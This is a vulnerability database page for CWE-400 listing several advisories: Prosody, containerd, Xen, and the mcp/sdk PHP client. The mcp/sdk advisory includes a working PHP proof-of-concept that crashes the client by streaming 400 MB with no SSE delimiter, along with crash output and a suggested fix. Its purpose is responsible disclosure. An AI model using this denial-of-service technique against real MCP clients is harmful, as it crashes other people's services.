CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6465 vulnerabilities reference this CWE, most recent first.
GHSA-7JVV-JG88-R4H8
Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-07-13 00:01Prosody before 0.11.9 allows Uncontrolled CPU Consumption via a flood of SSL/TLS renegotiation requests.
{
"affected": [],
"aliases": [
"CVE-2021-32920"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-13T16:15:00Z",
"severity": "HIGH"
},
"details": "Prosody before 0.11.9 allows Uncontrolled CPU Consumption via a flood of SSL/TLS renegotiation requests.",
"id": "GHSA-7jvv-jg88-r4h8",
"modified": "2022-07-13T00:01:25Z",
"published": "2022-05-24T19:02:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32920"
},
{
"type": "WEB",
"url": "https://blog.prosody.im/prosody-0.11.9-released"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6MFFBZWXKPZEVZNQSVJNCUE7WRF3T7DG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GUN63AHEWB2WRROJHU3BVJRWLONCT2B7"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LWJ2DG2DFJOEFEWOUN26IMYYWGSA2ZEE"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202105-15"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-4916"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/05/13/1"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/05/14/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7JXH-36Q5-GCQV
Vulnerability from github – Published: 2026-09-09 18:01 – Updated: 2026-09-09 18:01Impact
A bug in containerd's CRI ExecSync implementation allows exec probes and lifecycle hooks with background child processes to keep containerd's stdio-drain goroutines indefinitely blocked. Because the I/O drain phase lacks a default timeout or context cancellation handling, repeated ExecSync invocations (like probes) that include long-lived background processes against a container can cause containerd to leak goroutines and host memory. Over time, this resource exhaustion can cause the containerd daemon to be terminated by the OOM killer, rendering containerd unavailable until it is restarted. This issue affects containerd on Linux systems running with the CRI plugin enabled. Users not using containerd's CRI implementation or not running containers on Linux are not affected.
Patches
This bug has been fixed in containerd 2.3.5, 2.2.8, 2.0.12, and 1.7.35. Users should update to these versions to resolve the issue.
Workarounds
Ensure exec probes and lifecycle hooks do not launch long-lived background child processes.
Credits
The containerd project would like to thank XlabAI Team of Tencent Xuanwu Lab (xlabai@tencent.com), including Guannan Wang, Zhanpeng Liu, Jiashuo Liang, and Guancheng Li, and @IamwhatIamSY who independently discovered and responsibly disclosed this issue in accordance with the containerd security policy.
For more information
If there are any questions or comments about this advisory:
- Open an issue in containerd
- Send an email to security@containerd.io
To report a security issue in containerd: * Report a new vulnerability * Send an email to security@containerd.io
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/containerd/containerd/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/containerd/containerd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.35"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/containerd/containerd/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/containerd/containerd/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53495"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-09T18:01:33Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nA bug in containerd\u0027s CRI ExecSync implementation allows exec probes and lifecycle hooks with background child processes to keep containerd\u0027s stdio-drain goroutines indefinitely blocked. Because the I/O drain phase lacks a default timeout or context cancellation handling, repeated ExecSync invocations (like probes) that include long-lived background processes against a container can cause containerd to leak goroutines and host memory. Over time, this resource exhaustion can cause the containerd daemon to be terminated by the OOM killer, rendering containerd unavailable until it is restarted. This issue affects containerd on Linux systems running with the CRI plugin enabled. Users not using containerd\u0027s CRI implementation or not running containers on Linux are not affected.\n\n### Patches\n\nThis bug has been fixed in containerd 2.3.5, 2.2.8, 2.0.12, and 1.7.35. Users should update to these versions to resolve the issue.\n\n### Workarounds\n\nEnsure exec probes and lifecycle hooks do not launch long-lived background child processes.\n\n### Credits\n\nThe containerd project would like to thank XlabAI Team of Tencent Xuanwu Lab (xlabai@tencent.com), including Guannan Wang, Zhanpeng Liu, Jiashuo Liang, and Guancheng Li, and @IamwhatIamSY who independently discovered and responsibly disclosed this issue in accordance with the [containerd security policy](https://github.com/containerd/project/blob/main/SECURITY.md).\n\n### For more information\n\nIf there are any questions or comments about this advisory:\n\n* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)\n* Send an email to [security@containerd.io](mailto:security@containerd.io)\n\nTo report a security issue in containerd:\n* [Report a new vulnerability](https://github.com/containerd/containerd/security/advisories/new)\n* Send an email to [security@containerd.io](mailto:security@containerd.io)",
"id": "GHSA-7jxh-36q5-gcqv",
"modified": "2026-09-09T18:01:33Z",
"published": "2026-09-09T18:01:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/containerd/containerd/security/advisories/GHSA-7jxh-36q5-gcqv"
},
{
"type": "PACKAGE",
"url": "https://github.com/containerd/containerd"
},
{
"type": "WEB",
"url": "https://github.com/containerd/containerd/releases/tag/v1.7.35"
},
{
"type": "WEB",
"url": "https://github.com/containerd/containerd/releases/tag/v2.0.12"
},
{
"type": "WEB",
"url": "https://github.com/containerd/containerd/releases/tag/v2.2.8"
},
{
"type": "WEB",
"url": "https://github.com/containerd/containerd/releases/tag/v2.3.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "containerd: CRI ExecSync Goroutine Leak Leads to Node-Level Denial of Service"
}
GHSA-7JXP-562X-944J
Vulnerability from github – Published: 2026-07-28 15:32 – Updated: 2026-07-28 18:33Addressing certain issues, in particular related to operations which may take excessively long and therefore would need preemption, has turned out overly costly. Since alternatives (HVM/PVH: HAP, PV: shim) are commonly available, the decision was to deprecate the functionality, while still retaining it for people to use at their own (security) risk. Memory-wise small enough guests may still be okay to run.
{
"affected": [],
"aliases": [
"CVE-2026-42493"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-28T13:18:32Z",
"severity": "HIGH"
},
"details": "Addressing certain issues, in particular related to operations which may\ntake excessively long and therefore would need preemption, has turned out\noverly costly. Since alternatives (HVM/PVH: HAP, PV: shim) are commonly\navailable, the decision was to deprecate the functionality, while still\nretaining it for people to use at their own (security) risk. Memory-wise\nsmall enough guests may still be okay to run.",
"id": "GHSA-7jxp-562x-944j",
"modified": "2026-07-28T18:33:02Z",
"published": "2026-07-28T15:32:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42493"
},
{
"type": "WEB",
"url": "https://xenbits.xenproject.org/xsa/advisory-495.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/07/28/12"
},
{
"type": "WEB",
"url": "http://xenbits.xen.org/xsa/advisory-495.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7M52-JW36-44R3
Vulnerability from github – Published: 2026-08-19 19:17 – Updated: 2026-08-19 19:17Summary
The HTTP client transport in mcp/sdk reads a Server-Sent-Events (SSE) response
stream incrementally and appends each 4 KiB chunk to an in-memory buffer
($this->sseBuffer .= $chunk;) with no upper bound. The buffer is only ever
flushed when an SSE event delimiter ("\n\n") appears. A remote MCP server (the
peer the client connects to) that streams response bytes without ever sending the
"\n\n" delimiter makes $sseBuffer grow without limit until the client process
exhausts its PHP memory_limit (fatal "Allowed memory size … exhausted") or is
killed by the OS OOM-killer.
This is a denial-of-service against the MCP client: any server it talks to — or a network position that controls the server's response body — can crash the client by withholding the event delimiter while streaming data.
Impact
- Type: Denial of service (memory exhaustion / process crash) of the MCP client.
- Who can trigger it: The remote MCP server endpoint the client connects to via
HttpTransport, or any party that can control/inject into that server's SSE response body (e.g. a man-in-the-middle on a plaintext endpoint, or a malicious or compromised server). The buffer growth happens while the transport is reading the response stream, before a complete event is ever parsed. - Effect: A response stream of N bytes containing no
"\n\n"drives the client's resident buffer to track N. A few hundred MB of delimiter-free data is enough to kill a client running with a typicalmemory_limit. - Severity (suggested, maintainer to confirm): High — a remote server can reliably crash a connected client over the HTTP/SSE transport.
How input reaches the sink (reachability)
- A client connects to a server over the HTTP transport by constructing
Mcp\Client\Transport\HttpTransportwith the server endpoint URL, then runs the connect/request loop. - The transport's loop calls
tick()(line 182), which callsprocessSSEStream()(line 194) on each iteration. processSSEStream()reads up to 4096 bytes from the active SSE stream and appends them to$this->sseBuffer(line 203).- The buffer is only drained inside the
while (false !== ($pos = strpos($this->sseBuffer, "\n\n")))loop (line 207). If the server never emits"\n\n", thestrposnever matches, the buffer is never flushed, and it grows on everytick()until OOM.
Vulnerable code
src/Client/Transport/HttpTransport.php (v0.5.0):
private string $sseBuffer = '';
private function processSSEStream(): void
{
if (null === $this->activeStream) {
return;
}
if (!$this->activeStream->eof()) {
$chunk = $this->activeStream->read(4096);
if ('' !== $chunk) {
$this->sseBuffer .= $chunk; // line 203 — unbounded append
}
}
while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) {
$event = substr($this->sseBuffer, 0, $pos);
$this->sseBuffer = substr($this->sseBuffer, $pos + 2);
if (!empty(trim($event))) {
$this->processSSEEvent($event);
}
}
if ($this->activeStream->eof() && empty($this->sseBuffer)) {
$this->activeStream = null;
}
}
$this->sseBuffer .= $chunk; has no length guard; the drain loop only fires when a
"\n\n" delimiter is present.
Proof of concept / End-to-end reproduction (against the released composer package)
Environment: macOS arm64, PHP 8.5.6 (cli), Composer 2.9.8. The package under test
is the real published release mcp/sdk v0.5.0 (the version that introduced this
HTTP client transport), installed from Packagist — not a re-implementation of the
sink.
Install the released package:
$ composer require mcp/sdk:0.5.0 --no-interaction
- Installing mcp/sdk (v0.5.0): Extracting archive
$ composer show mcp/sdk
name : mcp/sdk
versions : * v0.5.0
PoC driver (poc_sse.php). It exercises the unmodified released
processSSEStream(); the ProbeHttp subclass uses reflection only to inject the
active SSE stream and to invoke the inherited private method — no transport logic
is overridden. FloodStream is a real PSR-7 StreamInterface that yields a large
body (4096 bytes per read()) that never contains "\n\n", mirroring an
adversarial SSE server response. The null PSR-18/17 stubs only satisfy the
constructor; the sink reads exclusively from the injected stream and never touches
the HTTP client:
<?php
require __DIR__ . '/vendor/autoload.php';
use Mcp\Client\Transport\HttpTransport;
use Psr\Http\Message\StreamInterface;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\StreamFactoryInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
final class FloodStream implements StreamInterface {
private int $served = 0;
public function __construct(private int $total) {}
public function read(int $length): string {
if ($this->served >= $this->total) return '';
$n = min($length, $this->total - $this->served);
$this->served += $n;
return str_repeat('A', $n); // never contains "\n\n"
}
public function eof(): bool { return $this->served >= $this->total; }
public function __toString(): string { return ''; }
public function close(): void {}
public function detach() { return null; }
public function getSize(): ?int { return $this->total; }
public function tell(): int { return $this->served; }
public function isSeekable(): bool { return false; }
public function seek(int $o, int $w = SEEK_SET): void {}
public function rewind(): void {}
public function isWritable(): bool { return false; }
public function write(string $s): int { return 0; }
public function isReadable(): bool { return true; }
public function getContents(): string { return ''; }
public function getMetadata(?string $key = null) { return null; }
}
final class NullHttpClient implements ClientInterface {
public function sendRequest(RequestInterface $request): ResponseInterface { throw new \RuntimeException('not used'); }
}
final class NullRequestFactory implements RequestFactoryInterface {
public function createRequest(string $method, $uri): RequestInterface { throw new \RuntimeException('not used'); }
}
final class NullStreamFactory implements StreamFactoryInterface {
public function createStream(string $content = ''): StreamInterface { throw new \RuntimeException('not used'); }
public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface { throw new \RuntimeException('not used'); }
public function createStreamFromResource($resource): StreamInterface { throw new \RuntimeException('not used'); }
}
final class ProbeHttp extends HttpTransport {
public function inject(StreamInterface $s): void {
(new ReflectionProperty(HttpTransport::class, 'activeStream'))->setValue($this, $s);
}
public function pump(): void {
(new ReflectionMethod(HttpTransport::class, 'processSSEStream'))->invoke($this);
}
}
function fmtMB(int $b): string { return number_format($b/1048576,1).' MB'; }
$mode = $argv[1] ?? 'attack';
$t = new ProbeHttp('http://127.0.0.1:9/mcp', [], new NullHttpClient(), new NullRequestFactory(), new NullStreamFactory());
if ($mode === 'control') {
$body = '';
for ($i=0;$i<1000;$i++) $body .= "event: message\ndata: {\"jsonrpc\":\"2.0\",\"id\":$i}\n\n";
$tmp = fopen('php://temp','r+'); fwrite($tmp,$body); rewind($tmp);
$t->inject(new FloodStream(0)); // replaced below by a real stream over $tmp
$stream = new class($tmp) implements StreamInterface {
public function __construct(private $h) {}
public function read(int $l): string { return (string) fread($this->h, $l); }
public function eof(): bool { return feof($this->h); }
public function __toString(): string { return ''; }
public function close(): void {}
public function detach() { return null; }
public function getSize(): ?int { return null; }
public function tell(): int { return 0; }
public function isSeekable(): bool { return false; }
public function seek(int $o,int $w=SEEK_SET): void {}
public function rewind(): void {}
public function isWritable(): bool { return false; }
public function write(string $s): int { return 0; }
public function isReadable(): bool { return true; }
public function getContents(): string { return ''; }
public function getMetadata(?string $k=null) { return null; }
};
$t->inject($stream);
$before = memory_get_usage(true);
for ($i=0;$i<5000 && !$stream->eof();$i++) $t->pump();
fwrite(STDERR,"[control] events fed : 1000 well-formed SSE events (delimited by \\n\\n)\n");
fwrite(STDERR,"[control] mem before : ".fmtMB($before)."\n");
fwrite(STDERR,"[control] mem after : ".fmtMB(memory_get_usage(true))."\n");
fwrite(STDERR,"[control] RESULT : bounded, no OOM (each event flushed on \\n\\n)\n");
exit(0);
}
ini_set('memory_limit','256M');
$SIZE = 400*1024*1024; // 400MB SSE body, NO "\n\n"
$t->inject(new FloodStream($SIZE));
fwrite(STDERR,"[attack] SSE body : ".fmtMB($SIZE)." with NO \\n\\n delimiter\n");
fwrite(STDERR,"[attack] memory_limit : ".ini_get('memory_limit')."\n");
fwrite(STDERR,"[attack] mem before : ".fmtMB(memory_get_usage(true))."\n");
register_shutdown_function(function() {
$err = error_get_last();
fwrite(STDERR,"[attack] peak mem : ".number_format(memory_get_peak_usage(true)/1048576,1)." MB\n");
if ($err && stripos($err['message'],'memory')!==false)
fwrite(STDERR,"[attack] RESULT : OOM — ".trim($err['message'])."\n");
});
for ($i=0;;$i++) { $t->pump(); } // each pump reads one 4096 chunk -> sseBuffer
Negative control — 1000 well-formed SSE events delimited by "\n\n": each pump
flushes complete events, the buffer drains, memory stays flat:
$ php poc_sse.php control
[control] events fed : 1000 well-formed SSE events (delimited by \n\n)
[control] mem before : 2.0 MB
[control] mem after : 2.0 MB
[control] RESULT : bounded, no OOM (each event flushed on \n\n)
Attack — a 400 MB SSE body with no "\n\n", client heap capped at 256 MB to make
the crash deterministic (a production client has a larger or unbounded limit and
is killed by the OS at whatever ceiling exists):
$ php poc_sse.php attack
[attack] SSE body : 400.0 MB with NO \n\n delimiter
[attack] memory_limit : 256M
[attack] mem before : 2.0 MB
PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes) in /private/tmp/work/vendor/mcp/sdk/src/Client/Transport/HttpTransport.php on line 203
Stack trace:
#0 [internal function]: Mcp\Client\Transport\HttpTransport->processSSEStream()
#1 /private/tmp/work/poc_sse.php(69): ReflectionMethod->invoke(Object(ProbeHttp))
#2 /private/tmp/work/poc_sse.php(129): ProbeHttp->pump()
#3 {main}
[attack] peak mem : 256.0 MB
[attack] RESULT : OOM — Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes)
The fatal error lands on the released vendor file
vendor/mcp/sdk/src/Client/Transport/HttpTransport.php line 203, inside
processSSEStream(), while the delimiter-respecting control workload stays at
2.0 MB. This confirms the unbounded SSE accumulation on the real released package.
Suggested fix
Bound the SSE buffer length and reject (or abort the stream) when it exceeds a configured maximum, so a server cannot force unbounded growth before a complete event arrives. For example:
private const MAX_SSE_BUFFER_BYTES = 8 * 1024 * 1024; // 8 MiB, configurable
private function processSSEStream(): void
{
if (null === $this->activeStream) {
return;
}
if (!$this->activeStream->eof()) {
$chunk = $this->activeStream->read(4096);
if ('' !== $chunk) {
if (\strlen($this->sseBuffer) + \strlen($chunk) > self::MAX_SSE_BUFFER_BYTES) {
$this->sseBuffer = '';
$this->activeStream = null;
$this->logger->warning('Aborting SSE stream: buffer exceeded maximum size without a complete event.', [
'max_sse_buffer_bytes' => self::MAX_SSE_BUFFER_BYTES,
]);
return;
}
$this->sseBuffer .= $chunk;
}
}
while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) {
$event = substr($this->sseBuffer, 0, $pos);
$this->sseBuffer = substr($this->sseBuffer, $pos + 2);
if (!empty(trim($event))) {
$this->processSSEEvent($event);
}
}
if ($this->activeStream->eof() && empty($this->sseBuffer)) {
$this->activeStream = null;
}
}
The cap value and the over-limit policy (abort vs. error) are the maintainers' call. A fix PR against a private fork of the advisory workspace accompanies this report.
Fix PR
A patch bounding the SSE buffer is provided as a pull request against the private temporary fork created for this advisory (the GHSA workspace fork). Details and link are added to this advisory's thread once the private fork PR is opened. The patch keeps the SSE event-parsing behaviour unchanged and only caps the buffer.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "mcp/sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53965"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-19T19:17:49Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe HTTP client transport in `mcp/sdk` reads a Server-Sent-Events (SSE) response\nstream incrementally and appends each 4 KiB chunk to an in-memory buffer\n(`$this-\u003esseBuffer .= $chunk;`) with **no upper bound**. The buffer is only ever\nflushed when an SSE event delimiter (`\"\\n\\n\"`) appears. A remote MCP server (the\npeer the client connects to) that streams response bytes without ever sending the\n`\"\\n\\n\"` delimiter makes `$sseBuffer` grow without limit until the client process\nexhausts its PHP `memory_limit` (fatal \"Allowed memory size \u2026 exhausted\") or is\nkilled by the OS OOM-killer.\n\nThis is a denial-of-service against the MCP **client**: any server it talks to \u2014\nor a network position that controls the server\u0027s response body \u2014 can crash the\nclient by withholding the event delimiter while streaming data.\n\n## Impact\n\n- **Type:** Denial of service (memory exhaustion / process crash) of the MCP client.\n- **Who can trigger it:** The remote MCP server endpoint the client connects to via\n `HttpTransport`, or any party that can control/inject into that server\u0027s SSE\n response body (e.g. a man-in-the-middle on a plaintext endpoint, or a malicious\n or compromised server). The buffer growth happens while the transport is reading\n the response stream, before a complete event is ever parsed.\n- **Effect:** A response stream of N bytes containing no `\"\\n\\n\"` drives the client\u0027s\n resident buffer to track N. A few hundred MB of delimiter-free data is enough to\n kill a client running with a typical `memory_limit`.\n- **Severity (suggested, maintainer to confirm):** High \u2014 a remote server can\n reliably crash a connected client over the HTTP/SSE transport.\n\n## How input reaches the sink (reachability)\n\n1. A client connects to a server over the HTTP transport by constructing\n `Mcp\\Client\\Transport\\HttpTransport` with the server endpoint URL, then runs\n the connect/request loop.\n2. The transport\u0027s loop calls `tick()` (line 182), which calls\n `processSSEStream()` (line 194) on each iteration.\n3. `processSSEStream()` reads up to 4096 bytes from the active SSE stream and\n appends them to `$this-\u003esseBuffer` (line 203).\n4. The buffer is only drained inside the `while (false !== ($pos = strpos($this-\u003esseBuffer, \"\\n\\n\")))`\n loop (line 207). If the server never emits `\"\\n\\n\"`, the `strpos` never matches,\n the buffer is never flushed, and it grows on every `tick()` until OOM.\n\n## Vulnerable code\n\n`src/Client/Transport/HttpTransport.php` (v0.5.0):\n\n```php\n private string $sseBuffer = \u0027\u0027;\n```\n\n```php\n private function processSSEStream(): void\n {\n if (null === $this-\u003eactiveStream) {\n return;\n }\n\n if (!$this-\u003eactiveStream-\u003eeof()) {\n $chunk = $this-\u003eactiveStream-\u003eread(4096);\n if (\u0027\u0027 !== $chunk) {\n $this-\u003esseBuffer .= $chunk; // line 203 \u2014 unbounded append\n }\n }\n\n while (false !== ($pos = strpos($this-\u003esseBuffer, \"\\n\\n\"))) {\n $event = substr($this-\u003esseBuffer, 0, $pos);\n $this-\u003esseBuffer = substr($this-\u003esseBuffer, $pos + 2);\n\n if (!empty(trim($event))) {\n $this-\u003eprocessSSEEvent($event);\n }\n }\n\n if ($this-\u003eactiveStream-\u003eeof() \u0026\u0026 empty($this-\u003esseBuffer)) {\n $this-\u003eactiveStream = null;\n }\n }\n```\n\n`$this-\u003esseBuffer .= $chunk;` has no length guard; the drain loop only fires when a\n`\"\\n\\n\"` delimiter is present.\n\n## Proof of concept / End-to-end reproduction (against the released composer package)\n\nEnvironment: macOS arm64, PHP 8.5.6 (cli), Composer 2.9.8. The package under test\nis the real published release `mcp/sdk v0.5.0` (the version that introduced this\nHTTP client transport), installed from Packagist \u2014 not a re-implementation of the\nsink.\n\nInstall the released package:\n\n```\n$ composer require mcp/sdk:0.5.0 --no-interaction\n - Installing mcp/sdk (v0.5.0): Extracting archive\n$ composer show mcp/sdk\nname : mcp/sdk\nversions : * v0.5.0\n```\n\nPoC driver (`poc_sse.php`). It exercises the **unmodified** released\n`processSSEStream()`; the `ProbeHttp` subclass uses reflection only to inject the\nactive SSE stream and to invoke the inherited private method \u2014 no transport logic\nis overridden. `FloodStream` is a real PSR-7 `StreamInterface` that yields a large\nbody (4096 bytes per `read()`) that never contains `\"\\n\\n\"`, mirroring an\nadversarial SSE server response. The null PSR-18/17 stubs only satisfy the\nconstructor; the sink reads exclusively from the injected stream and never touches\nthe HTTP client:\n\n```php\n\u003c?php\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\nuse Mcp\\Client\\Transport\\HttpTransport;\nuse Psr\\Http\\Message\\StreamInterface;\nuse Psr\\Http\\Client\\ClientInterface;\nuse Psr\\Http\\Message\\RequestFactoryInterface;\nuse Psr\\Http\\Message\\StreamFactoryInterface;\nuse Psr\\Http\\Message\\RequestInterface;\nuse Psr\\Http\\Message\\ResponseInterface;\n\nfinal class FloodStream implements StreamInterface {\n private int $served = 0;\n public function __construct(private int $total) {}\n public function read(int $length): string {\n if ($this-\u003eserved \u003e= $this-\u003etotal) return \u0027\u0027;\n $n = min($length, $this-\u003etotal - $this-\u003eserved);\n $this-\u003eserved += $n;\n return str_repeat(\u0027A\u0027, $n); // never contains \"\\n\\n\"\n }\n public function eof(): bool { return $this-\u003eserved \u003e= $this-\u003etotal; }\n public function __toString(): string { return \u0027\u0027; }\n public function close(): void {}\n public function detach() { return null; }\n public function getSize(): ?int { return $this-\u003etotal; }\n public function tell(): int { return $this-\u003eserved; }\n public function isSeekable(): bool { return false; }\n public function seek(int $o, int $w = SEEK_SET): void {}\n public function rewind(): void {}\n public function isWritable(): bool { return false; }\n public function write(string $s): int { return 0; }\n public function isReadable(): bool { return true; }\n public function getContents(): string { return \u0027\u0027; }\n public function getMetadata(?string $key = null) { return null; }\n}\nfinal class NullHttpClient implements ClientInterface {\n public function sendRequest(RequestInterface $request): ResponseInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n}\nfinal class NullRequestFactory implements RequestFactoryInterface {\n public function createRequest(string $method, $uri): RequestInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n}\nfinal class NullStreamFactory implements StreamFactoryInterface {\n public function createStream(string $content = \u0027\u0027): StreamInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n public function createStreamFromFile(string $filename, string $mode = \u0027r\u0027): StreamInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n public function createStreamFromResource($resource): StreamInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n}\nfinal class ProbeHttp extends HttpTransport {\n public function inject(StreamInterface $s): void {\n (new ReflectionProperty(HttpTransport::class, \u0027activeStream\u0027))-\u003esetValue($this, $s);\n }\n public function pump(): void {\n (new ReflectionMethod(HttpTransport::class, \u0027processSSEStream\u0027))-\u003einvoke($this);\n }\n}\nfunction fmtMB(int $b): string { return number_format($b/1048576,1).\u0027 MB\u0027; }\n$mode = $argv[1] ?? \u0027attack\u0027;\n$t = new ProbeHttp(\u0027http://127.0.0.1:9/mcp\u0027, [], new NullHttpClient(), new NullRequestFactory(), new NullStreamFactory());\n\nif ($mode === \u0027control\u0027) {\n $body = \u0027\u0027;\n for ($i=0;$i\u003c1000;$i++) $body .= \"event: message\\ndata: {\\\"jsonrpc\\\":\\\"2.0\\\",\\\"id\\\":$i}\\n\\n\";\n $tmp = fopen(\u0027php://temp\u0027,\u0027r+\u0027); fwrite($tmp,$body); rewind($tmp);\n $t-\u003einject(new FloodStream(0)); // replaced below by a real stream over $tmp\n $stream = new class($tmp) implements StreamInterface {\n public function __construct(private $h) {}\n public function read(int $l): string { return (string) fread($this-\u003eh, $l); }\n public function eof(): bool { return feof($this-\u003eh); }\n public function __toString(): string { return \u0027\u0027; }\n public function close(): void {}\n public function detach() { return null; }\n public function getSize(): ?int { return null; }\n public function tell(): int { return 0; }\n public function isSeekable(): bool { return false; }\n public function seek(int $o,int $w=SEEK_SET): void {}\n public function rewind(): void {}\n public function isWritable(): bool { return false; }\n public function write(string $s): int { return 0; }\n public function isReadable(): bool { return true; }\n public function getContents(): string { return \u0027\u0027; }\n public function getMetadata(?string $k=null) { return null; }\n };\n $t-\u003einject($stream);\n $before = memory_get_usage(true);\n for ($i=0;$i\u003c5000 \u0026\u0026 !$stream-\u003eeof();$i++) $t-\u003epump();\n fwrite(STDERR,\"[control] events fed : 1000 well-formed SSE events (delimited by \\\\n\\\\n)\\n\");\n fwrite(STDERR,\"[control] mem before : \".fmtMB($before).\"\\n\");\n fwrite(STDERR,\"[control] mem after : \".fmtMB(memory_get_usage(true)).\"\\n\");\n fwrite(STDERR,\"[control] RESULT : bounded, no OOM (each event flushed on \\\\n\\\\n)\\n\");\n exit(0);\n}\n\nini_set(\u0027memory_limit\u0027,\u0027256M\u0027);\n$SIZE = 400*1024*1024; // 400MB SSE body, NO \"\\n\\n\"\n$t-\u003einject(new FloodStream($SIZE));\nfwrite(STDERR,\"[attack] SSE body : \".fmtMB($SIZE).\" with NO \\\\n\\\\n delimiter\\n\");\nfwrite(STDERR,\"[attack] memory_limit : \".ini_get(\u0027memory_limit\u0027).\"\\n\");\nfwrite(STDERR,\"[attack] mem before : \".fmtMB(memory_get_usage(true)).\"\\n\");\nregister_shutdown_function(function() {\n $err = error_get_last();\n fwrite(STDERR,\"[attack] peak mem : \".number_format(memory_get_peak_usage(true)/1048576,1).\" MB\\n\");\n if ($err \u0026\u0026 stripos($err[\u0027message\u0027],\u0027memory\u0027)!==false)\n fwrite(STDERR,\"[attack] RESULT : OOM \u2014 \".trim($err[\u0027message\u0027]).\"\\n\");\n});\nfor ($i=0;;$i++) { $t-\u003epump(); } // each pump reads one 4096 chunk -\u003e sseBuffer\n```\n\nNegative control \u2014 1000 well-formed SSE events delimited by `\"\\n\\n\"`: each pump\nflushes complete events, the buffer drains, memory stays flat:\n\n```\n$ php poc_sse.php control\n[control] events fed : 1000 well-formed SSE events (delimited by \\n\\n)\n[control] mem before : 2.0 MB\n[control] mem after : 2.0 MB\n[control] RESULT : bounded, no OOM (each event flushed on \\n\\n)\n```\n\nAttack \u2014 a 400 MB SSE body with no `\"\\n\\n\"`, client heap capped at 256 MB to make\nthe crash deterministic (a production client has a larger or unbounded limit and\nis killed by the OS at whatever ceiling exists):\n\n```\n$ php poc_sse.php attack\n[attack] SSE body : 400.0 MB with NO \\n\\n delimiter\n[attack] memory_limit : 256M\n[attack] mem before : 2.0 MB\nPHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes) in /private/tmp/work/vendor/mcp/sdk/src/Client/Transport/HttpTransport.php on line 203\nStack trace:\n#0 [internal function]: Mcp\\Client\\Transport\\HttpTransport-\u003eprocessSSEStream()\n#1 /private/tmp/work/poc_sse.php(69): ReflectionMethod-\u003einvoke(Object(ProbeHttp))\n#2 /private/tmp/work/poc_sse.php(129): ProbeHttp-\u003epump()\n#3 {main}\n[attack] peak mem : 256.0 MB\n[attack] RESULT : OOM \u2014 Allowed memory size of 268435456 bytes exhausted (tried to allocate 